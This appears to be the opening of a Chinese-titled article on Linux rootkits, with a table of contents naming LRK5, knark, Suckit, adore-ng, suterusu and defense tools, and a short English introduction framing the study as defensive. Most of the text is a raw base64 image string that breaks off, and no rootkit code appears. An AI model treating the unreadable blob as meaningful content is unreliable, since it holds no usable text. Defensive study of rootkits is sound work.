目录

. 引言
. LRK5 Rootkit
. knark Rootkit
. Suckit(super user control kit)
. adore-ng
. WNPS
. Sample Rootkit for Linux
. suterusu
. Rootkit Defense Tools
. Linux Rootkit Scanner: kjackal

1. 引言

This paper attempts to analyze the characteristics from the attacker's point of view about the currentopen source rootkit key technology, hope can find common features of rootkit damage andhidden, and developed a general strategy for rootkit defense and counter method

In simple terms, rootkit can be divided into the following categories

aaarticlea/png;base64,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